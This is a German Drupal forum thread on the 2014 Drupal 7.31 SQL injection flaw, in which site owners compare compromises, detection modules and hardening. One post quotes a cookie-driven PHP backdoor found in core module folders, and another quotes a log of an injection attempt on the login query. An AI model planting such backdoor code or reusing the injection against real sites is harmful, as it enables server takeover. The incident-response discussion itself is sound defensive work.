Startseite
  • » Home
  • » Handbuch & FAQ
  • » Forum
  • » Übersetzungsserver
  • » Suche
Startseite › Forum › Drupalcenter.de › Allgemeines zu Drupal ›

SQL Injection – Drupal 7.31 User "drupaldev" mit der Rolle "megauser"

Eingetragen von thespecter (63)
am 23.10.2014 - 13:06 Uhr in
  • Allgemeines zu Drupal
  • Drupal 7.x oder neuer

Hallo Leute,

mein Post ist leider kein Erfreulicher. Es geht um die aktuelle Sicherheitslücke im CORE bis 7.31. Ich habe aktuell drei Drupal 7 Installationen am Laufen von denen alle drei betroffen waren.

In jeder der Installationen gab es den Benutzer "drupaldev" der die Rolle "megauser" hatte. Die Seiten sind untereinander nicht verlinkt und auch nicht gerade hoch frequentiert. Ich bin echt erschüttert wie schnell ich mit 100 % meiner Seiten betroffen war, wenn man bedenkt dass die Lücke ja gerade mal etwas mehr als 1 Woche alt ist.

Wie finden einen die "Bösen" eigentlich so schnell - und zielsicher.

Ich bin sicher nicht der einzige Betroffene - checkt das mal.

Außer dieser beängstigenden Tatsache kann ich aber nichts schädliches an meinen Seiten feststellen. Meint Ihr es ist mit dem Löschen vom User und Rolle und einem Update auf 7.32 getan. Wie kann ich sicher Stellen dass nicht noch mehr passiert ist?

Beste Grüße
Simon

‹ [gelöst] Content-Aktualisierung NUR in revision-Tabellen, NICHT in data-Tabellen SQL Injection – Drupal 7.31 User "drupaldev" mit der Rolle "megauser" ›
  • Anmelden oder Registrieren um Kommentare zu schreiben

Stimmt, bei einer meiner

Eingetragen von montviso (1923)
am 24.10.2014 - 09:26 Uhr

Stimmt, bei einer meiner Seiten gibt es auch diese Rolle megauser.
Was mich wundert: Diese Rolle hat keinerlei Rechte.
D.h. der User "drupaldev" kann also nicht viel machen.
Was ist dann der Sinn von so einer Attacke?
Trotzdem muß natürlich das Sicherheitsupdate eingespielt werden.

LG Regina Oswald
-------------------------
Montviso - Internetdienstleistungen
http://www.montviso.de

  • Anmelden oder Registrieren um Kommentare zu schreiben

Mehr analysieren, absichern und kontrollieren

Eingetragen von C_Logemann (825)
am 25.10.2014 - 01:17 Uhr
thespecter schrieb

Außer dieser beängstigenden Tatsache kann ich aber nichts schädliches an meinen Seiten feststellen. Meint Ihr es ist mit dem Löschen vom User und Rolle und einem Update auf 7.32 getan. Wie kann ich sicher Stellen dass nicht noch mehr passiert ist?

Nein, wenn da jemand dran war kann da noch viel mehr passiert sein. Je nachdem, wie unsicher das Gesamt-System (Server) konfiguriert ist könnte sogar Schadcode dazu installiert worden sein. Denn der Angreifer könnte zwischenzeitlich Zugang zum User/1 gehabt haben darüber das PHP-Modul installiert haben und danach wieder aufgeräumt haben und vieles mehr.
Man sollte alle aktiven User-Sessions löschen mit Zusatzmodul, schauen ob (noch) das PHP-Modul aktiv ist (und eigentlich nicht sein sollte) usw. Auf jeden Fall sollte man sich das betroffene System ganz genau anschauen.

edit: Link zur Sicherheits-Meldung: Gefährliche Sicherheitslücke in Drupal 7: Dringend Patch einspielen oder auf Version 7.32 wechseln

# DrupalCenter-Moderator # Mitglied im Drupal e.V. # https://www.drupal.org/u/c_logemann
# CTO der Nodegard GmbH: CMS Security & Availability Management

  • Anmelden oder Registrieren um Kommentare zu schreiben

Wie kann ich denn

Eingetragen von Jenna (1837)
am 25.10.2014 - 18:15 Uhr

Wie kann ich denn nachvollziehen ob eine Installation betroffen ist?

Ich habe bei allen Installationen das Update durchgeführt und es erscheinen nirgendwo neue Rollen oder User.

Kann man nun sicher davon ausgehen das die Site nicht betroffen ist oder gibt es bestimmte Tabellen in der MySQL die man noch händisch prüfen sollte?

Grüße Jenna

  • Anmelden oder Registrieren um Kommentare zu schreiben

Wenn keine User und Rollen

Eingetragen von montviso (1923)
am 26.10.2014 - 13:23 Uhr

Wenn keine User und Rollen angelegt wurden, sollte der Krug an Dir vorrüber gegangen sein.

LG Regina Oswald
-------------------------
Montviso - Internetdienstleistungen
http://www.montviso.de

  • Anmelden oder Registrieren um Kommentare zu schreiben

Vermeidet bitte eine trügerische Sicherheit

Eingetragen von C_Logemann (825)
am 26.10.2014 - 14:03 Uhr

Ich möchte keine Panik schüren, aber wir haben es bei dieser Sicherheitslücke wirklich mit einer sehr boshaften zu tun. Als ich in einem Contib-Modul eine SQL-Injection-Lücke entdeckt habe (siehe SA-CONTRIB-2014-075), habe ich, ohne dies jemals zuvor gemacht zu haben in 30 Minuten einen Exploit gebaut, um als nicht angemeldeter Besucher eine boshafte Datenbank-Abfrage zu machen. Mein Beispiel-Hack, den ich auch auf dem Drupal-Meetup Frankfurt im August präsentiert habe, erlaubt das ersetzen der Mail-Adresse vom user/1 und dessen Ersatz mit der Anfangs-Adresse nach erfolgreichem Zusenden des One-Time-Logins.

montviso schrieb

Wenn keine User und Rollen angelegt wurden, sollte der Krug an Dir vorrüber gegangen sein.

Nein, das kann sehr trügerisch sein. Ein geschickter Angreifer verwischt seine Spuren! Wenn ich boshaft diese Sicherheitslücke ausnutzen wollte, würde ich mir nur Zugang zum user/1 verschaffen und so wenig verdächtige Daten einbringen inkl. weiterer Benutzer, wie nur irgend möglich. Der Nachteil an "digitalen Einbrüchen" ist, daß man einerseits leicht die "Tür" leider reparieren kann und auch nicht so leicht erkennbar ist, wenn Daten gestohlen wurden, da man sie in der Regel ja nur kopieren kann. Die Drupal-Internen Logs assen sich auch löschen, somit macht es auch Sinn z.B. in die Server-Logs zu schauen.

Der Weg vom User/1 über den PHP-Filter zu allem, was dem Webserver via PHP erlaubt ist ermöglicht bösen Leuten enorme Möglichkeiten. Die meisten mir bekannten managed Hosting-Server erlauben leider auch zu viel "Drupal kann sich selbst manipulieren". Aber auch Root-Server sind diesbezüglich nicht immer optimal konfiguriert. Mit zwei Linux-Usern zu operieren, macht sehr viel Sinn wie ich müde werde zu erwähnen (z.B. hier).

Auf jeden Fall macht es neben dem Blick ins Drupal-"Backend" auch Sinn, sich mal die PHP-Files anzuschauen, ob diese verändert wurden. Oft wird versucht über die Templates Schadcode in dafür anfällige Browser zu bekommen. Ich würde den Stand der Dinge sichern und offline in Ruhe noch mal durchsuchen und dann den gesamten Core und Contrib-Module austauschen. Module wie "hacked" helfen auch bei der Analyse. Dann sollte man noch schauen, ob eigener Code wie z.B. Templates und Custom Module nicht manipuliert wurde. Vor allem, sollte man auch schauen, ob sich nicht irgendwo im Webroot nun neue verdächtige Dateien verbergen.
Mit Zusatz-Modulen kann man allen seine Beeutzer die aktiven Sessions löschen und dazu zwingen, neue Passwörrter zu setzen. Anfangen würde ich dabei den Admins.

Wenn man übrigens Drush-Zugang hat, kann man ein Drupal-System auch massiver abschotten z.B. mit dem von mir geschriebenen Modul "gate". Damit wäre mein eigener Hack über die E-Mail-Adresse vom user/1 z.B. nicht möglich.

# DrupalCenter-Moderator # Mitglied im Drupal e.V. # https://www.drupal.org/u/c_logemann
# CTO der Nodegard GmbH: CMS Security & Availability Management

  • Anmelden oder Registrieren um Kommentare zu schreiben

Vielen Dank Carstens für

Eingetragen von montviso (1923)
am 26.10.2014 - 14:26 Uhr

Vielen Dank Carstens für Deine Tipps!

LG Regina Oswald
-------------------------
Montviso - Internetdienstleistungen
http://www.montviso.de

  • Anmelden oder Registrieren um Kommentare zu schreiben

Vielen Dank Carsten für die

Eingetragen von Jenna (1837)
am 26.10.2014 - 19:57 Uhr

Vielen Dank Carsten für die ganzen Infos.
Bei einer Installation habe ich vom 23.10. diese Einträge unter Drupal Reports gefunden, können die damit zusammen hängen?

Zitat:

PDOException: SQLSTATE[42000]: Syntax error or access violation: 1064 You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ' 'test2' AND status = 1' at line 1: SELECT * FROM {users} WHERE name = :name_0, :name_1 AND status = 1; Array ( [:name_0] => test [:name_1] => test2 ) in user_login_authenticate_validate() (Zeile 2123 von /sxkhdmm/www.domain.de/modules/user/user.module).

Notice: Array to string conversion in DatabaseConnection->escapeLike() (Zeile 965 von /sxkhdmm/www.domain.de/includes/database/database.inc).

Warning: mb_strlen() expects parameter 1 to be string, array given in drupal_strlen() (Zeile 441 von /sxkhdmm/www.domain.de/includes/unicode.inc).

Ich kann allerdings keine weiteren Benutzer oder Rollen finden, weder in Drupal noch in der DB.

Ich habe auch nach den 3 Meldungen gegoogelt und es scheint sich um andere Probleme zu handeln, da Threads dazu existieren die 1-2 Jahre alt sind. Nur sind diese Meldungen in den letzten 2 Jahren nie aufgetaucht und es wird auch an der Seite nicht aktiv gearbeitet, keine neuen Module oder Inhalte, daher meine Nachfrage woher die Meldungen so plötzlich kommen könnten.

Grüße Jenna ( @montviso, deine Lösung hat mir besser gefallen....)

  • Anmelden oder Registrieren um Kommentare zu schreiben

Auch ich wurde fündig…

Eingetragen von thespecter (63)
am 27.10.2014 - 14:08 Uhr

Hier ist ja über's Wochenende viel passiert. Ich habe nun mal die Seiten genauer unter die Lupe genommen. Wie schon erwähnt habe ich bei alle Angriffen die selben Einträge für User und Rolle gehabt - mit dem Unterschied zu dir – montviso – dass diese erstellte Rolle durchaus mit Rechten bestückt war.

Ich habe jetzt erst mal den Patch eingesielt und mir lokale Sicherungen abgelegt. Zwei der Seiten haben keine weiteren Auffälligkeiten im Code.
Bei einer habe ich jedoch das hier gefunden:

<?php $form1=@$_COOKIE["Kcqf3"]; if ($form1){ $opt=$form1(@$_COOKIE["Kcqf2"]); $au=$form1(@$_COOKIE["Kcqf1"]); $opt("/292/e",$au,292); } phpinfo();

Dieser Eintrag tauchte bei mir 2 Mal in den Core-Modulen filter und profile in dort abgelegten Dateien den Namen qjwu.php und moui.php auf.

Was genau macht denn der Code?

  • Anmelden oder Registrieren um Kommentare zu schreiben

phpinfo(); dient hier zum Ausspähen

Eingetragen von C_Logemann (825)
am 27.10.2014 - 14:27 Uhr

Das mit dem Cookie-Code habe ich auf dem ersten Blick noch nicht ganz verstanden. Die Ausgabe von "phpinfo();" dient aber wohl zum weiteren Ausspähen des Systems.

# DrupalCenter-Moderator # Mitglied im Drupal e.V. # https://www.drupal.org/u/c_logemann
# CTO der Nodegard GmbH: CMS Security & Availability Management

  • Anmelden oder Registrieren um Kommentare zu schreiben

Zitat: Der Weg vom User/1

Eingetragen von Jenna (1837)
am 27.10.2014 - 14:48 Uhr
Zitat:

Der Weg vom User/1 über den PHP-Filter zu allem, was dem Webserver via PHP erlaubt ist ermöglicht bösen Leuten enorme Möglichkeiten.

Bedeutet das, das man unter Module den PHP Filter an sich deaktiviert lassen sollte, würde schon die Aktivierung eine Lücke ermöglichen?

Falls ja, was macht man dann mit Modulen wie https://www.drupal.org/project/views_pdf die nur in Abhängigkeit vom PHP Filter laufen.

Noch kann ich alles umbauen, wüßte nur gern ob der Aufwand Sinn macht und ob ich das richtig verstanden habe, besten Dank....

Grüße Jenna

  • Anmelden oder Registrieren um Kommentare zu schreiben

hacked & diff

Eingetragen von thespecter (63)
am 27.10.2014 - 16:04 Uhr
Carsten Logemann schrieb

Module wie "hacked" helfen auch bei der Analyse.

Hacked! in Verbindung mit Diff geht ab - vielen Dank für den super Tipp.

Grüße Simon

  • Anmelden oder Registrieren um Kommentare zu schreiben

user/1 kann sich php filter aktivieren

Eingetragen von C_Logemann (825)
am 27.10.2014 - 16:11 Uhr
Jenna schrieb

Bedeutet das, das man unter Module den PHP Filter an sich deaktiviert lassen sollte, würde schon die Aktivierung eine Lücke ermöglichen?

Erst ab Drupal 8 wird PHP Filter ein Contrib-Modul. Solange ist es ja da, wenn man es nicht automatisch raus schmeißt nach update.
Ich selbst finde das Modul nicht so böse wie manch anderer. Wichtig ist vielmehr daß das ganze Drupal-System sich nicht selbst manipulieren dürfen sollte per Server-Konfiguration, das heißt vor alem nur dort Dateien ablegen und verändern zu dürfen, die nicht ausführbar sind wie man es z.B.a uch zum Speichern von PDF-Dateien benötigt.
Was ich mit meiner Aussage meinte ist, daß eben der user/1 sich das PHP-Modul selbst aktivieren kann und dann darüber mehr Möglichkeiten bekommt.

# DrupalCenter-Moderator # Mitglied im Drupal e.V. # https://www.drupal.org/u/c_logemann
# CTO der Nodegard GmbH: CMS Security & Availability Management

  • Anmelden oder Registrieren um Kommentare zu schreiben

Hallo zusammen, bei mir haben

Eingetragen von Drupimo (109)
am 30.10.2014 - 12:09 Uhr

Hallo zusammen,

bei mir haben sich auch zwei User eingeschlichen, u.a. "Drupaldev/Megauser". Ich habe heute auf die aktuelle Version upgedatet und die beiden User aus der Datenbank entfernt. Reichen diese Maßnahmen aus um die Seite wieder sicher zu machen?

Danke schonmal!

  • Anmelden oder Registrieren um Kommentare zu schreiben

Hier steht was empfohlen wird...

Eingetragen von donflow (35)
am 30.10.2014 - 12:11 Uhr

https://www.drupal.org/PSA-2014-003

http://t3n.de/news/drupal-kritische-luecke-575379/
http://www.heise.de/security/meldung/Drupal-Luecke-mit-dramatischen-Folg...
http://www.zdnet.com/drupal-warns-unless-you-patched-within-seven-hours-...

  • Anmelden oder Registrieren um Kommentare zu schreiben

Gleicher Hack tiefere Wunde

Eingetragen von triple5 (1)
am 30.10.2014 - 14:48 Uhr

Ein ähnliches Muster wurde auch hier angewendet, bei meiner Seite wurden allerdings verschiedene Linuxwerkzeuge mitsamt Ordnern in dem Überordner des Webverzeichnis installiert (unter anderem etc/, home/ und bin/ mit einigen ausführbaren Dateien.)

  • Anmelden oder Registrieren um Kommentare zu schreiben

Zitat: Was ich mit meiner

Eingetragen von Jenna (1837)
am 30.10.2014 - 19:52 Uhr
Zitat:

Was ich mit meiner Aussage meinte ist, daß eben der user/1 sich das PHP-Modul selbst aktivieren kann und dann darüber mehr Möglichkeiten bekommt.

Danke Carsten, ich hab wohl Glück gehabt, werde mich aber trotzdem in deine Infos / Module gründlich einarbeiten und einlesen.

Irgendwann kommt (wie bei jedem System...) sicher die nächste Lücke, dann schadet es nicht etwas Ahnung zu haben, PHP Filter bleiben jetzt deaktiviert und ich gewöhne mir nun auch an ältere Backups auf einer gesonderten Installation zu sichern. Bei diesem Crash hätte es ja fatal enden können wenn nur ein aktuelles Backup vorliegt welches vielleicht auch schon betroffen ist.

Grüße Jenna

  • Anmelden oder Registrieren um Kommentare zu schreiben

Gibt es hier noch jemand wo

Eingetragen von Goekmen (1013)
am 30.10.2014 - 22:54 Uhr

Gibt es hier noch jemand wo gar nichts passiert ist?
Hatte ca. 20 Projekte am 16. Oktober (Nachmittag) aktualisiert. Ein paar weitere erst in den letzten Tagen. Da konnte ich aber auch nichts feststellen.
Es gab keine neuen User, Rollen, keine neuen Dateien. Diff und Hacked Module hatten auch keine Veränderungen feststellen können.
Waren die Angriffe eher zufällig? Gab es ein bestimmtes Schema?

WEBTRANSFORMER

  • Anmelden oder Registrieren um Kommentare zu schreiben

also ich habe bei meinen

Eingetragen von caw (2707)
am 31.10.2014 - 15:23 Uhr

also ich habe bei meinen kunden und von anderen kunden erst nach dem 15.10. aktualisiert und alle nutzer überprüft. bei einem war auch ein dev nutzer
habe ich sicherheitshalber alles gelöscht: db, ftp und neu aufspielen können.
von meinem provider habe ich auch keine nachrichten, bei einigen kunden hat sich 1und1 gemeldet deswegen

C.A.W. Webdesign

  • Anmelden oder Registrieren um Kommentare zu schreiben

Also ich habe bei einem

Eingetragen von tobi-berlin (847)
am 31.10.2014 - 20:20 Uhr

Also ich habe bei einem Projekt festgestellt, dass es den drupaldev User und die Rolle megauser gibt. Hier gab es auch Versuche, mit file_put_contents Dateien zu hinterlegen, das scheint aber nicht funktioniert zu haben (haben mir die Drupal-Loggings verraten - ist hier beschrieben: https://www.acquia.com/blog/learning-hackers-week-after-drupal-sql-injec...). Wie wir damit weiter machen, weiß ich auch noch nicht - das Projekt ist eh recht tot und und könnte vielleicht sogar einfach eingestampft werden.

Mich würde auch mal interessieren, wie viele Seiten letztendlich wirklich betroffen waren oder sind (soweit man das halt feststellen kann). Ich fand die Meldung schon irgendwie überzogen, dass nun alle Drupal-Seiten, die nicht innerhalb von 7 Stunden aktualisiert wurden, als gehackt anzusehen sind. Ich verstehe ja, dass es schwierig sein kann, gehackte Seiten tatsächlich zu erkennen und dass diese Sicherheitslücke echt eine krasse Nummer war - dass die Hacker nach wenigen Stunden schon automatisierte Angriffe auf drupal-Seiten starten ist schon fast gespenstisch... aber wenn das automatisierte Angriffe waren, werden die doch wohl im Groben stets das gleiche Muster haben, oder? Kann man dann nicht wenigestens anhand dieser Muster herauslesen, welche Seite von diesen Angriffen übernommen wurde?

  • Anmelden oder Registrieren um Kommentare zu schreiben

@ Goekmen: JA. Gleicher Fall

Eingetragen von howdytom (176)
am 01.11.2014 - 00:25 Uhr

@ Goekmen: JA. Gleicher Fall bei mir. Keine der Kundenseiten war betroffen. Updates wurden 12 Stunden nach Bekanntgabe eingespielt. 2x Seiten konnten leider erst 48 Stunden später auf Drupal 7.32 aktualisiert werden. Auch hier keine Hack erkennbar.

Ich bin intensiv die Verzeichnisse durchgegangen und habe nach den Mustern gesucht wie auf Acquia.com beschrieben. Keine Auffälligkeiten, Dateiänderungen, geänderte Zeitstempel, keine neuen User/Rollen, keine neuen Blöcke mit Code oder dergleichen etc. erkennbar. Die Aussage wer nicht 7 Stunden nach der Veröffentlichung der Ankündigung aktualisiert/gepacht hat, wurde gehackt, tritt bei mir (zum Glück/anscheinend) nicht zu. Auf allen Seiten wird kein Meta Generator Eintrag mit Drupal 7 Zusatz verwendet. Vielleicht waren die Seiten dadurch bei der 1. Angriffswelle schwerer "crawlbar". Aber wahrscheinlich reine Einbildung......

Zu weiteren Analyse empfehle ich die Drush Erweiterung Drupalgeddon und Site Audit

drush dl site_audit
drush dl drupalgeddon
drush cache-clear crush

drush asec
drush -y @sites drupalgeddon-test

Welche weiteren Maßnahmen habt ihr ergriffen?

Grüße aus dem sonnigen Heidelberg.

Maker • Visual Designer • Site Builder https://binroth.com

  • Anmelden oder Registrieren um Kommentare zu schreiben

Interessant, bei mir waren

Eingetragen von montviso (1923)
am 31.10.2014 - 22:07 Uhr

Interessant, bei mir waren auch keine Kunden-Webseiten betroffen, sondern nur drei eigene Projekte, die alle auf dem gleichen Managed Server liegen.
Bei welchem Hoster sind Deine betroffenen Installationen, Howdytom?

Folgendes habe ich gemacht:
- Update eingespielt
- User und Rolle entfernt
- Module hacked und diff ausprobiert
- Mit Linuxbefehl via SSH auf der Konsole nach Dateien gesucht, die jünger sind als xy Tage und diese einzeln angesehen
- Datenbank-Dumps von vor und nach dem kritischen Termin mit Winmerge auf Änderungen untersucht.

Ich konnte weder auf Datenbank-ebene noch in den Dateien Änderungen entdecken, die da nicht hin gehören.

LG Regina Oswald
-------------------------
Montviso - Internetdienstleistungen
http://www.montviso.de

  • Anmelden oder Registrieren um Kommentare zu schreiben

@montviso: Keine Drupal

Eingetragen von howdytom (176)
am 01.11.2014 - 01:59 Uhr

@montviso: Keine Drupal Installation ist betroffen. Hosting erfolgt in Colocation, Myloc, 1&1, Hetzner.
Außer dem üblichen massenhaften „Ausprobieren“ und Crawlen ist auch in den Apache access und error Logs nichts erkennbar, was auf den Hack hindeutet.

tobi-berlin schrieb

Ich verstehe ja, dass es schwierig sein kann, gehackte Seiten tatsächlich zu erkennen und dass diese Sicherheitslücke echt eine krasse Nummer war - dass die Hacker nach wenigen Stunden schon automatisierte Angriffe auf drupal-Seiten starten ist schon fast gespenstisch... aber wenn das automatisierte Angriffe waren, werden die doch wohl im Groben stets das gleiche Muster haben, oder? Kann man dann nicht wenigestens anhand dieser Muster herauslesen, welche Seite von diesen Angriffen übernommen wurde?

Kann mich dem nur anschließend. Die Professionalität und Vielfältigkeit der unterschiedlichen Muster, die hier an den Tag gelegt wurde ist schon sehr erschreckend.

Grüße aus dem sonnigen Heidelberg.

Maker • Visual Designer • Site Builder https://binroth.com

  • Anmelden oder Registrieren um Kommentare zu schreiben

Es scheint wirklich zufällig zu sein

Eingetragen von ronald (3834)
am 01.11.2014 - 03:55 Uhr

Ich habe auf einem Server ca. 15 Projekte laufen.

Es war nur eines betroffen.

In diesem Projekt war nur die genannte Rolle mit dem entsprechenden User angelegt.
Die Rolle hatte Rechte, wie ich sie niemals vergeben würde.

Ansonsten keine Veränderungen.

Die Rolle habe ich entfernt, den User gesperrt.

Wenn das ein Automat ist, kann es genügen, den User in die Sperrliste zu nehmen, dann ist er nicht anlegbar.

Grüße
Ronald

  • Anmelden oder Registrieren um Kommentare zu schreiben

woher kommen bei Euch die Angriffe?

Eingetragen von KnobelVogel (61)
am 02.11.2014 - 18:08 Uhr

Hallo,
auf der seite acquia.com wird von über 38000 Aufrufen innerhalb kurzer zeit aus Russland geschrieben.

Da ich auf meinen Seiten den neuen user und rolle nicht habe (die seiten ohnehin ohne ecommerce und mit maximal 3 admins/redakteuren laufen ohne kommentare oder foren, inhalte kein besonderen betriebsgeheimnisse sind, reichweite vglweise gering), ich aber seit langem countryban und honeypot nutze, wo russland, china, rumänien und co. soweit möglich "ausgesperrt" sind, würde ich gern wissen, ob alle angriffe bei euch aus einem land kamen?

Über die info würde ich mich sehr freuen.
Schöne grüße
Knobelvogel

Grüße

  • Anmelden oder Registrieren um Kommentare zu schreiben

Obwohl ich erst 48 bzw. 72

Eingetragen von Ionit (1781)
am 02.11.2014 - 23:44 Uhr

Obwohl ich erst 48 bzw. 72 Stunden nachdem die Sicherheitslücke bekannt wurde, das System gefixt habe, sind bei mir keine Einbrüche feststellbar.

Auf meinem System ist allerdings im html-Code/Metas etc. kein Hinweis zu finden, dass es mit Drupal gemacht wurde (die Hacker müssen die betroffenen Drupalinstallationen ja irgendwie ausfindig gemacht haben).

Drupal rockt!!!

  • Anmelden oder Registrieren um Kommentare zu schreiben

Habe ebenfalls im Zeiraum

Eingetragen von KnobelVogel (61)
am 03.11.2014 - 00:45 Uhr

Habe ebenfalls im Zeiraum 24-36 h gefixt durch update auf 7er 32 und bei keiner Installation bisher Auffälliges gefunden...

Trotzdem nochmal die Frage:

Gab es Angriffe abgesehen von RU ? Konnte bisher davon nichts lesen, habe allerdings auch gepostete IPs im Netz jetzt nicht getraced.

Grüße

  • Anmelden oder Registrieren um Kommentare zu schreiben

Ich habe überall den Drupal

Eingetragen von Goekmen (1013)
am 03.11.2014 - 16:35 Uhr

Ich habe überall den Drupal Metagtag drin. Bei 90% der Projekte ist aber die Registrierung ausgeschaltet.
Ansonsten lösche ich normalerweise auch alle Dateien im Root Ordner die auf Drupal hinweisen (license, mainteiners, install etc)

WEBTRANSFORMER

  • Anmelden oder Registrieren um Kommentare zu schreiben

thespecter schrieb Carsten

Eingetragen von Poldrack (288)
am 03.11.2014 - 17:59 Uhr
thespecter schrieb
Carsten Logemann schrieb

Module wie "hacked" helfen auch bei der Analyse.

Hacked! in Verbindung mit Diff geht ab - vielen Dank für den super Tipp.

Grüße Simon

Guter Tip ... prüft Hacked eigentlich auch, ob zusätzliche Dateien vorliegen oder "nur" ob Drupal-Core bzw. Modul-Datein geändert wurden?

Herzlich
Andreas

--------------------------------

  • Anmelden oder Registrieren um Kommentare zu schreiben

Benennt Ihr auch Euer

Eingetragen von montviso (1923)
am 03.11.2014 - 18:46 Uhr

Benennt Ihr auch Euer sites-Verzeichnis um?
Andernfalls kann man ja Drupal-Installationen auch ganz gut mit der Suche nach "sites/default/files" finden.

LG Regina Oswald
-------------------------
Montviso - Internetdienstleistungen
http://www.montviso.de

  • Anmelden oder Registrieren um Kommentare zu schreiben

Das Hacked Modul prüft nur

Eingetragen von tobi-berlin (847)
am 03.11.2014 - 19:32 Uhr

Das Hacked Modul prüft nur vorhandene Dateien bzw gelöschte Dateien - neu hinzugefügte prüft es nicht. Am besten auch gleich mit dem Diff-Modul installieren, dann sieht man auch gleich, was eigentlich anders ist.

Ich habe auch schon mal überlegt, ob ich das öffentliche Verzeichnis anders benenne... ist vielleicht gar nicht so schlecht, um nicht aller Welt zu zeigen, dass Drupal das verwendete CMS ist?!

Mal eine Frage: wenn man die Dateiberechtigungen einstellt wie hier (http://www.studiosdigital.at/blog/drupal-going-live-checklist) bechrieben - würde das verhindern, dass solche Dateien eingebaut werden können?

  • Anmelden oder Registrieren um Kommentare zu schreiben

Ich habe mal geschaut -

Eingetragen von tobi-berlin (847)
am 03.11.2014 - 19:45 Uhr

Ich habe mal geschaut - leider verrät sich das Theme, wenn z.B. Favicon und Logo vom Theme genommen werden, aber da könnte man vielleicht noch nacharbeiten. Und ich kann mir vorstellen, dass die Bildstile mit den pfaden "styles/public" auch alles verraten...

  • Anmelden oder Registrieren um Kommentare zu schreiben

Server-Möglichkeiten sind oft nicht ausreichend.

Eingetragen von C_Logemann (825)
am 03.11.2014 - 20:30 Uhr
tobi-berlin schrieb

Mal eine Frage: wenn man die Dateiberechtigungen einstellt wie hier (http://www.studiosdigital.at/blog/drupal-going-live-checklist) bechrieben - würde das verhindern, dass solche Dateien eingebaut werden können?

Das entscheidende, ist ob Drupal (als der Linux-Benutzer, der Webserver/Drupal ausführt) das Recht hat, Daten zu schreiben oder zu ändern. Bei vielen Webhostern kann das nicht sicher eingestellt werden. Ich kenne nur eigentlich nur Hosteurope. Bei selbst verwalteten Servern gibt es wie üblich mehr Möglichkeiten, obwohl ich Kunden Projekten oft trotzdem eine problematische Konfiguration vorfinde (z.B. Owner:Apache und Gruppe:Apache).

Ich habe mich am Wochenende ein wenig mehr eingelesen in die Hack-Möglichkeiten und nun auch die Suche nach "access_callback" in der "menu_router" Tabelle verstanden. Die Funktion "file_put_contents" nach der gesucht werden soll, ermöglicht es den Code, den die Hacker in das Feld "access_arguments" mit der SQL-Injection einbringen in die zusätzlichen Dateien zu schreiben. Dies geht aber auch ohne jegliche Form von zusätzlichem Benutzer in Drupal und ohne PHP-Modul, aber soweit ich weiß nicht ohne Schreibrecht im System (siehe oben). Wer also nur fröhlich nach Drupal-Benutzern sucht und meint er/sie wäre sicher, weil nicht vorhanden, befindet sich in einer trügerischen Sicherheit (siehe mein Kommentar oben).

Das mit dem Verbergen von Drupal als CMS ist gar nicht so einfach. Allein die Suche nach "/sites/default" würde doch auch schon ausreichen. Aber im Grunde zählt das alles zu dem Konzept "Security by Obscurity". Das bringt sehr viel weniger als die Beseitigung realer Gefahren. Also sorgt lieber für ein sicheres Datei-System.

# DrupalCenter-Moderator # Mitglied im Drupal e.V. # https://www.drupal.org/u/c_logemann
# CTO der Nodegard GmbH: CMS Security & Availability Management

  • Anmelden oder Registrieren um Kommentare zu schreiben

@Goekmen

Eingetragen von merkdit (31)
am 04.11.2014 - 12:26 Uhr

Ähnlich wie bei Goekmen. Ich konnte auch noch nichts feststellen. Core Update von 7.19 auf 7.32 wurde eine Woche später aktualisiert.
Bei mir ist die user/register seite nicht aktiv. Weiss nicht ob das damit zusammenhängt.
Zurzeit sind im "recent log messages" regelmäßig Aufrufe der Seite user/register und node/add aus unterschiedlichen Ländern zu sehen.
Das kommt mir etwas komisch vor, da es eigentlich keinerlei Verlinkungen zu diesen Bereichen gibt.

  • Anmelden oder Registrieren um Kommentare zu schreiben

Zitat:Zurzeit sind im

Eingetragen von Ionit (1781)
am 04.11.2014 - 12:39 Uhr
Zitat:

Zurzeit sind im "recent log messages" regelmäßig Aufrufe der Seite user/register und node/add aus unterschiedlichen Ländern zu sehen.
Das kommt mir etwas komisch vor, da es eigentlich keinerlei Verlinkungen zu diesen Bereichen gibt.

Das sind die normalen Link-Spamm-Bots die überprüfen ob Nodes auch von Gästen erstellt werden dürfen oder die dann versuchen einen Account anzulegen. Das hat mit der jetzigen Sicherheitslücke nichts zu tun.

Drupal rockt!!!

  • Anmelden oder Registrieren um Kommentare zu schreiben

OK. Danke für den Hinweis.

Eingetragen von merkdit (31)
am 04.11.2014 - 12:51 Uhr

OK. Danke für den Hinweis.

  • Anmelden oder Registrieren um Kommentare zu schreiben

Zitat: Zurzeit sind im

Eingetragen von Jenna (1837)
am 04.11.2014 - 13:25 Uhr
Zitat:

Zurzeit sind im "recent log messages" regelmäßig Aufrufe der Seite user/register und node/add aus unterschiedlichen Ländern zu sehen.

Ich habe auch so eine Installation und ständig diese Aufrufe, oft auch /wordpress.php und ähnliches. Aus Spaß habe ich vor 3 Monaten angefangen alle IPs zu sperren die das versuchen.
Meine Protokollliste ist von 9 Seiten auf 1 Seite geschrumpft... und die krieg ich auch noch weg... Diese IPs sammle ich und werde die dann auf jeder Install sperren, mal gucken was das bringt.

Zitat:

Das Hacked Modul prüft nur vorhandene Dateien bzw gelöschte Dateien - neu hinzugefügte prüft es nicht.

Das Hacked Modul ist ja phantastisch, zeigt mir 4 Änderungen in Core Dateien (die sind auch korrekt 2 x Patch für system requierment, 1 x php.ini Eintrag in der .htaccess, 1 x robots.text Umleitung oder flag Eintrag für anonyme User - Merkliste ), das ist nicht nur genial zwecks aktuellem Anlass zu checken, sondern weil ich oft nicht mehr weiß in welcher Datei eigene Einträge waren, super geeignet um das schnell nachzuvollziehen. Ein grosser Dank an den Entwickler.

Zitat:

Am besten auch gleich mit dem Diff-Modul installieren, dann sieht man auch gleich, was eigentlich anders ist.

Würde das Diff Modul zusätzlich angelegte Dateien anzeigen (ausser im Root), also innerhalb Drupal, was "Hacked" ja nicht macht?

Was ich mir wünschen würde ist hier im Handbuch eine verständliche Anleitung nach der Installation oder für bestehende Sites (Sicherheitseinstellungen) oder gibt es das und ich habs nicht gefunden?
Zum Beispiel eine Liste mit empfohlenen Dateirechten für "dateinamen.php", wie den sites Ordner besser absichern und eben alles was man selbst dazu tun kann, es aber nicht weiß.
Momentan versuche ich mir die ganzen Tipps zusammen zu suchen, aber es ist ziemlich schwierig, für Neustarter mit Drupal noch schwieriger.
Ich würde das ja selbst schreiben... wenn ich könnte.. wäre aber sofort mit einer Paypal Spende dabei...
Kann man jemanden überreden so etwas übersichtlicher zusammen zu stellen, und aktuell zu halten (ergänzen) oder bin nur ich das die langsam nicht mehr durchsteigt?

